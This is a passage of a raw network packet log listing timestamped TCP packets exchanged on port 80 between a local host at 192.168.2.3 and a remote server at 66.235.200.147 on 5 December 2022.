Dec 5, 2022 06:44:36.416583061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416599989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416619062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416634083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416637897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416659117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416676998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416678905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416697025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416706085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416728973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416744947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416745901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416764021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416780949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416798115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416801929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416836023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416841030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416855097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416899920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416907072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416918993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416934967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416951895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416953087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416971922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416986942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416989088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417010069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417020082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417469025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417527914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417547941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417566061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417588949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417599916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417609930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417632103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417644024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417651892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417671919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417678118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417690992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417709112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417718887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417727947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417747021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417757034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417767048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417785883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417804003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417813063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417829990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417840004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417850018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417869091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417887926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417901039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417907000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417922974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417927027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417946100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.417963028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.417996883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418423891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418458939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418478012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418497086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418515921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418530941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418535948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418555975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418570995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418576956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418596029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418597937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418617964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418637991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418653011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418656111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418669939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418677092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418694973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418713093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418715000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418731928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418742895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418750048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418770075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418782949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418787956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418807983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418823004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418826103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418844938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418859959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.418864012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.418898106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419390917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419410944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419430017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419450045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419462919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419467926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419488907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419497013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419509888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419523954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419528961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419548035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419553995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419568062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419586897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419603109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419605017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419622898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419636011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419641972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419661999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419678926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419686079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419698954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419702053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419718027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419738054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419747114 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419755936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419775009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419792891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419800997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419811964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.419826031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.419858932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420377970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420398951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420417070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420435905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420454979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420490026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420598984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420619011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420656919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420676947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420695066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420716047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420725107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420736074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420744896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420763969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420780897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420782089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420803070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420820951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420830965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420840025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420850992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420859098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420880079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420895100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420897961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420919895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420938969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420948029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420958042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420974970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.420975924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.420999050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421003103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421019077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421037912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421046972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421056032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421076059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421092987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421179056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421438932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421458006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421477079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421505928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421514034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421525002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421545029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421559095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421564102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421583891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421596050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421602011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421622038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421632051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421639919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421658993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421667099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421694040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421711922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421732903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421741009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421751976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421762943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421772003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421791077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421809912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421817064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421829939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421842098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421848059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421866894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421875954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421885967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421905041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.421928883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.421952009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.422319889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422358036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422383070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422401905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422410965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.422421932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422441006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422456026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.422482967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.422650099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422775984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422873020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.422930956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.422943115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.423096895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.423147917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.423259020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.423382998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.423433065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.423513889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.423644066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.423700094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.423803091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.423851013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.423901081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424057961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424113035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424122095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424247026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424293995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424411058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424504995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424556971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424635887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424727917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424762964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424777031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424781084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424798965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424817085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424832106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424835920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424863100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424873114 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424881935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424901009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424917936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424926043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424936056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424947977 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424954891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424973011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.424981117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.424992085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425009966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425025940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425035954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425044060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425060987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425062895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425079107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425090075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425096989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425113916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425132036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425147057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425148964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425168037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425175905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425187111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425189018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425205946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425223112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425240993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425254107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425259113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425272942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425278902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425297022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425299883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425313950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425332069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425343990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425349951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425369024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425385952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425395012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425405025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425419092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425424099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425442934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425448895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425462008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425479889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425489902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425497055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425515890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425533056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425542116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425550938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425565004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425575018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425592899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425610065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425622940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425626993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425643921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425645113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425662994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425668955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425681114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425698996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425710917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425717115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425734997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425748110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425754070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425772905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425784111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425790071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425808907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425818920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425827980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.425859928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.425873995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426301003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426325083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426342964 CET	80	49704	66.235.200.147	192.168.2.3
